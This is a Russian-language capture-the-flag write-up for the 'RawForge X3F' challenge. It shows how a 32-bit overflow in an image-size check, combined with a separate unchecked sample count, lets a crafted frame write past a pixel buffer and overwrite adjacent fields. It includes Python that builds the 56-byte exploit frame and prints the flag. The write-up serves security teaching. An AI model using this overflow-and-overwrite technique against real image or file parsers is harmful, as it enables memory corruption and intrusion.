2.6 KiB
RawForge X3F
RawForge X3F обрабатывает RAW-снимки с дронов. По ELF rawforge-x3f видно, что размер изображения проверяется через произведение размеров, а число записываемых samples берётся из другого поля. Если произведение переполнится, проверка пропустит запись, которая выйдет за границу массива.
Решение
Кадр начинается с X3F0, затем идут четыре u32 LE: cols, rows, chans, samples. Сервис вычисляет alloc = cols * rows * chans в 32 битах и требует alloc <= 8. Потом без дополнительной проверки записывает samples 16-битных слов в pixels[8].
Берём cols = 0x40000001, rows = 4, chans = 1:
0x40000001 \cdot 4 \bmod 2^{32} = 4.
Лимит соблюдён, хотя реальные размеры огромные. Теперь используем независимое поле samples, чтобы выйти из 16-байтного массива пикселей в соседние поля:
Смещение от pixels |
Поле | Значение |
|---|---|---|
| 16 | magic, 8 байт |
0x5833464a4f423031 |
| 24 | target, 8 байт |
0x5845504f52542121 |
| 32 | approved, 4 байта |
0x584f4b21 |
Собираем 36 байт данных, то есть 18 samples:
import struct
values = b"\x00" * 16
values += struct.pack("<QQI", 0x5833464a4f423031, 0x5845504f52542121, 0x584f4b21)
frame = b"X3F0" + struct.pack("<IIII", 0x40000001, 4, 1, 18) + values
Кадр занимает 56 байт, включая 20 байт заголовка. В 1) upload x3f frame на запрос frame bytes: передаём строку 56, затем на payload: отправляем все 56 байт без добавленного перевода строки. Ответ decoded alloc_words=4 samples=18 подтверждает нужное расхождение. После этого 2) export processed inspection видит подменённые поля задания и отдаёт флаг.
Флаг
caplag{raw_dimensions_wrapped_the_sensor_job}